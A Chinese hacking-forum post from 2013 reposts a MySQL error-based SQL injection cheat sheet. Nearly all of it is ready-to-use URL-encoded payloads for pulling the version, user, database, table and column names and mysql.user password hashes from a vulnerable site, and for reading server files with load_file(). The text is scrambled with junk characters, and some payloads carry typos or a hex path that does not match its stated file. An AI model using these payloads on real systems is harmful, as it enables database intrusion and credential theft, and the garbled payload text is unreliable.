找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2067|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
3 Z/ D8 |6 Q2 q; V& r- H. O5 u$ \1 w' H* m/ W9 S6 u
& {& f" h) V4 I/ ^  L9 `5 e. p
Mysql暴错注入参考(pdf),每天一贴。。。
9 ?: K1 ?2 Y4 S$ c1 }$ Y, a# T" g5 ]9 K$ `- e/ N) R, I+ b
MySql Error Based Injection Reference- j) W0 r$ b# R9 e, Z
[Mysql暴错注入参考]
+ h0 N/ R; V6 r. z4 Q; hAuthornig0s1992, o7 }. X, j7 W  G
Blog:http://pnig0s1992.blog.51cto.com/  j' }* M' `+ `( W: w5 Y( x6 b# \
TeAm:http://www.FreeBuf.com/
( y. k& B0 ~4 K* XMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功/ A2 q: |* R. ~; J. R1 z
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
9 G3 d1 y' t8 \$ E5 V5 F8 D查询版本:' \, J) U, c, V# [. w
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
# d& J& {" _* H  `7 E# ?0 ]8 R4 u% ljoin+(select+name_const(@@version,0))b)c)
; X- D8 x( o5 R1 s0 C2 u) LMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro- R, i3 S1 Z4 L
up by a)b)5 U* z+ K; x& l* t* U* b$ I
查询当前用户:+ s0 o# y$ H" n0 w& Z. J/ M/ d3 u
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)8 Q# _6 T% a' D4 p
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
& j* f6 l( Q8 t# M8 ?0 Vand(0)*2))x+from+information_schema.tables+group+by+x)a)
8 S# w5 I" ]6 t. w! k) \查询当前数据库:& d9 b- R8 q1 f% b- X
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)6 M# C" r' @8 v4 c
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
7 m7 U5 \) _; G2 l. g2 k% `( Nor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
6 K/ g, b7 k5 C7 i* V% \) l$ t依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+) T  T- d& T# r3 K$ \( ?& v7 O
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n+ r/ X  g$ C: z# ^
顺序替换5 h; ?* q+ }  A% B
爆指定库数目:9 r' i. h' Y% b( i% S; W: @3 C
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
$ H1 l2 |8 s4 l' sable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group" H' ]8 W4 q, v/ \4 Y( p0 t- \: J
+by+x)a)+and+1=1 0x6D7973716C=mysql
) ?& J) P. H3 |! z$ J" i依次爆表:: q5 o$ {4 b8 w  A9 T. z0 ^" Y# a, w
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
/ j, Y9 r# p3 q) Rable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta, {# h; Z% m9 C) B$ g" z% O) ]
bles+group+by+x)a)+and+1=18 @6 Y$ b5 b) \# _8 u3 |
0x6D7973716C=Mysql 将n顺序替换8 r/ w( F+ G: p
爆表内字段数目:
' H7 n$ l4 |3 U0 C! y, Qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE! l6 a4 v' {7 j% F9 D6 b# T# x4 S
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
% O) f3 d7 C' |  n3 u6 O' _0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1! Q& l2 R2 Q' Q
依次爆字段:% x0 C0 A0 p3 F$ Z! w- E
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
) g6 ?6 j& q' l- |8 y+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
0 K) V7 L/ s, uloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
4 m, g. R6 }' V- c) x7 n依次暴内容:
& H& ^/ B1 k# s4 iand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche8 Y, D- G2 c: v6 }2 [. o/ ?
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1! \: y( x. f0 K. U/ V! f0 k6 @  H2 H
将n顺序替换: Z0 C6 h, }; n/ Z# j6 _7 a
爆文件内容:4 H/ {$ t: g, Q) Z5 E: B1 w
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
. _; ]2 y5 ^$ e/ e7 efrom+information_schema.tables+group+by+a)b)
! u& d5 W) n6 Z9 w0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节( d. }1 A! O: |
Thx for reading.& X9 k" k( q/ L  ]4 v& L, X: V
2 F/ V, K/ i& Z$ [! L$ ^2 n8 i
不要下载也可以,
1 q6 P  }. p: S! c% V% e* T

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表